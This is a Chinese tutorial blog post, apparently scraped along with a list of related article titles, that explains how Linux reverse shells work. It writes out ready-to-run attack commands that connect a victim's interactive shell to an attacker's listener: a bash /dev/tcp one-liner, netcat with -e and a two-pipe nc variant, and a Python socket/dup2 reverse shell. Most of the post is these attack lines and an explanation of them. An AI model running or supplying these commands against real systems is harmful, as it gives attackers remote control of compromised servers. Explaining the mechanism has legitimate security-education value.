一.简介

黑入服务器很少会是通过账号密码的方式进入,因为这很难破解密码和很多服务器都做了限制白名单。

大多是通过上传脚本文件,然后执行脚本开启一个端口,通过那个端口来执行shell命令去操作,这样会非常安全很难被察觉。

二.命令

Bash反弹shell的实现: bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

看到这短短的一行代码,正在复习Linux,自我感觉良好的我顿时充满了挫败感,这都是些什么鬼。于是决定一定要搞明白它。

首先,bash -i是打开一个交互的bash,这个最简单。我们先跳过“>&”和“0>&1”,这两个是本文重点,等会再说。先来说“/dev/tcp/”。

/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。

要想了解“>&”和“0>&1”,首先我们要先了解一下Linux文件描述符和重定向。

linux shell下常用的文件描述符是:

1.  标准输入   (stdin) :代码为 0 ,使用 < 或 <<
2. 标准输出 (stdout):代码为 1 ,使用 > 或 >>
3. 标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>

很多资料都会告诉我们,2>&1是将标准错误输出合并到标准输出中,但是这四个符号具体要如何理解呢?我刚开始直接将2>看做标准错误输出,将&看做and,将1看做标准输出。这样理解好像也挺对,但是如果是这样的话0>&1又该如何理解呢?

其实&根本就不是and的意思,学过C/C++的都知道,在这两门语言里,&是取地址符。在这里,我们也可以将它理解为取地址符。

好了,基本知识说完了,下面我们就探讨一下困扰了我一天的“>&”究竟是什么意思。首先,我在查资料的过程中虽然没有查到“>&”究竟是什么,但是有一个跟它长得很像的符号却被我发现了,那就是“&>”,它和“2>&1”是一个意思,都是将标准错误输出合并到标准输出中。难道“>&”和“&>”之间有什么不为人知的交易?让我们来动手测试一下。

从图片中我们可以看到,在这里">&"和“&>”作用是一样的,都是将标准错误输出定向到标准输出中。

既然如此,那么我们就把他俩互换试试看,究竟结果一不一样。

我在虚拟机里执行 bash -i >& /dev/tcp/10.0.42.1/1234

结果如下图所示,虽然命令和结果都在我本机上显示出来了,但实际上命令并不是在本机上输入的,而是只能在虚拟机里面输入,然后命令和结果都在我本机上显示。

我们再执行 bash -i &> /dev/tcp/10.42.0.1/1234效果是一样的,就不上图了。所以由实践可知,“>&”和我们常见的“&>”是一个意思,都是将标准错误输出重定向到标注输出。

好了,一个问题已经解决,下一个就是“0>&1”。我们都知道,标准输入应该是“0<”而不是“0>”,难道这个跟上一个问题样都是同一个命令的不同写法?让我们试一下“0<&1”,看看会发生什么。

在上图中我们得到了一个交互的shell。果然是这样!“0>&1”和“0<&1”是一个意思,都是将标准输入重定向到标准输出中。使用 bash -i &> /dev/tcp/10.42.0.1 0<&1

同样能反弹一个可交互的shell。

综上所述,这句命令的意思就是,创建一个可交互的bash和一个到10.42.0.1:1234的TCP链接,然后将bash的输入输出错误都重定向到在10.42.0.1:1234监听的进程。

三.NetCat

如果目标主机支持“-e”选项的话,我们就可以直接用 nc -e /bin/bash 10.42.0.1 1234

但当不支持时,我们就要用到Linux神奇的管道了。我们可以在自己机器上监听两个端口 nc -l -p 1234 -vv``nc -l -p 4321 -vv

然后在目标主机上执行以下命令: nc 10.42.0.1 1234 | /bin/bash | nc 10.42.0.1 4321

这时我们就可以在1234端口输入命令,在4321端口查看命令的输出了。

管道“|”可以将上一个命令的输出作为下一个命令的输入。所以上面命令的意思就是将10.42.0.1:1234传过来的命令交给/bin/bash执行,再将执行结果传给10.42.0.1:4321显示。

python -c
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.42.0.1",1234));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash","-i"]);'

python -c表示执行后面的代码。首先引入了三个库socket,subprocess,os,这三个库后面都要用到,然后创建了一个使用TCP的socket,接着执行connect函数连接到黑客主机所监听的端口。接着执行os库的dup2函数来进行重定向。

dup2传入两个文件描述符,fd1和fd2(fd1是必须存在的),如果fd2存在,就关闭fd2,然后将fd1代表的那个文件强行复制给fd2,fd2这个文件描述符不会发生变化,但是fd2指向的文件就变成了fd1指向的文件。

这个函数最大的作用是重定向。三个dup2函数先后将socket重定向到标准输入,标准输入,标准错误输出。最后建立了一个子进程,传入参数“-i”使bash以交互模式启动。这个时候我们的输入输出都会被重定向到socket,黑客就可以执行命令了。

我们可以看到成功的弹回了一个shell

Linux入侵 反弹shell的更多相关文章

  1. 从一次渗透谈到linux如何反弹shell

    零.绪论 背景: ThinkPHP框架的--> 找到一个OS命令注入(很简单的Burp可以直接扫出来的那种):页面配置系统默认网关处. 一.渗透过程 1.首先看了一下,没有回显. 2.用ceye ...

  2. 渗透测试中Linux下反弹shell的认识

    最近老是觉得自己白天工作累,晚上理应休息 堕落了几天才发觉自己真垃圾,加紧向前吧. 0x00 前言 在平时渗透还是工作中经常会遇到shell反弹的情况,网上一搜反弹shell都是一大堆,但是真正遇到反 ...

  3. Linux下反弹shell的种种方式

    [前言:在乌云社区看到反弹shell的几种姿势,看过之余自己还收集了一些,动手试了下,仅供参考] 0x01 Bash bash -i >& /dev/tcp/ >& 这里s ...

  4. linux下反弹shell

    01 前言 CTF中一些命令执行的题目需要反弹shell,于是solo一波. 02 环境 win10      192.168.43.151       监听端    装有nc kali        ...

  5. linux 常用反弹shell小记

    在渗透测试过程中由于防火墙和其它安全防御措施,很多服务器只能单向向外访问,不能被访问,我们常常需要反弹shell. 1.bash反弹shell 本地开启监听 nc -lvvp 受害主机命令 bash ...

  6. Windows/Linux 下反弹shell

    Linux 反弹shell bash环境获取shell 客户端 nc -lvp 8888 服务器 bash -i >& /dev/tcp/ip/port 0>&1 bash ...

  7. Linux bash反弹shell原理引起的一点思考

        最近,一起做安全测试的兄弟问我:Linux反弹shell的命令是什么,我毫不犹豫地在笔记中找到发给了他,可是脑海中突然闪过有个疑问,为啥这样能反弹shell呢,用了那么多次却从来没有想过这个问 ...

  8. Linux下反弹shell笔记

    0x00 NC命令详解 在介绍如何反弹shell之前,先了解相关知识要点. nc全称为netcat,所做的就是在两台电脑之间建立链接,并返回两个数据流 可运行在TCP或者UDP模式,添加参数 —u 则 ...

  9. linux 反弹shell

    Linux下反弹shell笔记 0x00 NC命令详解 在介绍如何反弹shell之前,先了解相关知识要点. nc全称为netcat,所做的就是在两台电脑之间建立链接,并返回两个数据流 可运行在TCP或 ...

随机推荐

  1. Scrum精髓读书笔记

    Scrum精髓 四 . Sprint Sprint的定义 Scrum在最长一个月的迭代或周期中安排工作,一般为2个星期,这些迭代或周期称为Sprint Sprint提供基本的Scrum骨架,大多数其他 ...

  2. 【SpringBoot】(1)-- 基于eclipse配置springboot开发环境

    基于eclipse配置springboot开发环境 1. 下载并配置eclipse ① 前往eclipse官网 https://www.eclipse.org/downloads/packages/ ...

  3. [Bzoj 1432] [ZJOI2009]Function(结论推导题)

    我们先看一下题目: (有没有和我一样的朋友看到这道题以为是几何不可做题 这个题目真的很难理解,并且样例也给得太水了吧! 理解题目是必不可少的(这并不是你看了半小时题目的理由)--首先我们先简化题目 1 ...

  4. NFLSOJ #10317. -「2020联考北附2」三千世界(找等价表达+树形 dp)

    题面传送门 出题人可能原本感觉没啥难度的 T2 竟然变成了防 AK 题,奇迹奇迹( 首先带着这个 \(\max\) 肯定不太好处理,考虑找出 \(f(S)\) 的等价表达.我们考虑以 \(1\) 为根 ...

  5. 洛谷 P4887 -【模板】莫队二次离线(第十四分块(前体))(莫队二次离线)

    题面传送门 莫队二次离线 mol ban tea,大概是这道题让我第一次听说有这东西? 首先看到这类数数对的问题可以考虑莫队,记 \(S\) 为二进制下有 \(k\) 个 \(1\) 的数集,我们实时 ...

  6. CF1466G Song of the Sirens

    题目传送门 题意简述:给出 \(n,s_0,t\ (n=|t|)\),定义 \(s_i=s_{i-1}+t_i+s_{i-1}\).多次询问给出 \(k,m\),求 \(m\) 在 \(s_k\) 中 ...

  7. 文件IO与标准IO的区别

    文件IO与标准IO的区别 文件I/O就是操作系统封装了一系列函数接口供应用程序使用,通过这些接口可以实现对文件的读写操作,文件I/O是采用系统直接调用的方式,因此当使用这些接口对文件进行操作时,就会立 ...

  8. 【R】调整ggplot图例大小

    图例太多时,会挤压正图,显得正图展示区域很小,这时有必要缩小图例. ################# # 减小ggplot图例 ################# library(ggplot2) ...

  9. fatal error: runtime: out of memory

    [root@VM_0_10_centos frp_0.27.0_linux_amd64]# top top - 21:09:19 up 2 days, 4 min, 2 users, load ave ...

  10. kubernetes部署 flannel网络组件

    创建 flannel 证书和私钥flannel 从 etcd 集群存取网段分配信息,而 etcd 集群启用了双向 x509 证书认证,所以需要为 flanneld 生成证书和私钥. cat > ...